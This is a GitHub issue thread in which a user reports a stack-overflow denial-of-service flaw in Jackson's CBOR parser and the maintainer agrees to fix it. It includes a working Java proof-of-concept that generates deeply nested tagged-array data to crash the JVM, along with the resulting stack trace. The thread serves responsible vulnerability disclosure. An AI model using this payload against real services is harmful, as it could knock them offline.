Internal parsing of tagged arrays can lead to stack overflow

[padolph]

It is very easy to craft CBOR tagged array data that causes a java.lang.StackOverflowError. Because the CBOR implementation of JsonParser.nextToken() recurses internally when it encounters tagged array data, there is very little the application programmer can do to protect against this exception. Suggest rethinking the recursive approach, or at least capping the max recursion depth.

For CBOR parsers that process untrusted data, this creates a serious DOS vulnerability. Most likely any CBOR parser implemented using Jackson is vulnerable to this problem.

Here is code that generates (nonsensical) CBOR data that crashes the JVM with a StackOverflowError. I am currently using jackson-dataformat-cbor-2.9.9

import java.io.*;

import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.dataformat.cbor.CBORConstants;
import com.fasterxml.jackson.dataformat.cbor.CBORFactory;
import com.fasterxml.jackson.dataformat.cbor.CBORParser;

public class CBORRecurse {
   public static void main(String[] args) {
       for (int i = 100; i < 1024 * 1024; i = i * 10) {
           _testRecurse(i);
       }
   }
   private static void _testRecurse(int levels)
   {
       System.out.println("Trying " + String.valueOf(levels));
       byte[] data = new byte[levels * 2];
       for (int i = 0; i < levels; i++) {
           data[i * 2] = (byte)(CBORConstants.PREFIX_TYPE_TAG +
                   CBORConstants.TAG_DECIMAL_FRACTION);
           data[(i * 2) + 1] = (byte)(CBORConstants.PREFIX_TYPE_ARRAY +
                   2);
       }

       CBORFactory f = new CBORFactory();
       JsonParser p;
       try {
           p = f.createParser(data);
       } catch (IOException e) {
           System.err.println("Caught IOException while creating parser: " + e.getMessage());
           return;
       }
       try {
           if (p.nextToken() == JsonToken.START_ARRAY) {
               System.out.println("Saw array");
           } else {
               System.out.println("Saw something else");
           }
       } catch (JsonParseException e) {
           System.err.println("Caught JsonParseException: " + e.getMessage());
       } catch (IOException e) {
           System.err.println("Caught IOException: " + e.getMessage());
       } catch (OutOfMemoryError e) {
           System.err.println("Caught OutOfMemoryError: " + e.getMessage());
       }
       try {
           p.close();
       } catch (IOException e) {
           // Do nothing.
       }
   }
}

This program will try many values of array recursion depth until the JVM crashes. On my laptop this happens around 'level' 10000.

Trying 10000
Exception in thread "main" java.lang.StackOverflowError
    at com.fasterxml.jackson.dataformat.cbor.CBORParser._handleTaggedArray(CBORParser.java:859)
    at com.fasterxml.jackson.dataformat.cbor.CBORParser.nextToken(CBORParser.java:732)
    at com.fasterxml.jackson.dataformat.cbor.CBORParser._handleTaggedArray(CBORParser.java:872)
    at com.fasterxml.jackson.dataformat.cbor.CBORParser.nextToken(CBORParser.java:732)
    ...

[cowtowncoder]

Yes, I can see how this could be problematic. JSON parser had a similar potential case for sub-tree copying fixed recently.

I'll have to think of a good way to handle this: simple depth counter could work, given that tags shouldn't really need to nest deeply. Or perhaps changing handling to use iteration & stack instead.

Thank you for reporting this issue.

[cowtowncoder]

Looked at possible solution and I think I know how to handle this as there is only one codepath (special tag handling for another use case does not use recursive calls).

[padolph]

Great news! Yes that was my observation too, only one code path was involved. Thanks for taking this on.

[cowtowncoder]

@padolph thank you for reporting it! One of those things that are obvious in hindsight, but not before :) I will get this in 2.10.1, it's the next thing for me to work on.

[cowtowncoder]

Ok so end result is bit messy, due to necessary nesting (BigDecimal being sometimes encoded with BigInteger encoded as tagged binary chunk....); may become actual problem if more tags are to be recognized. But should work for now, we'll see how things go.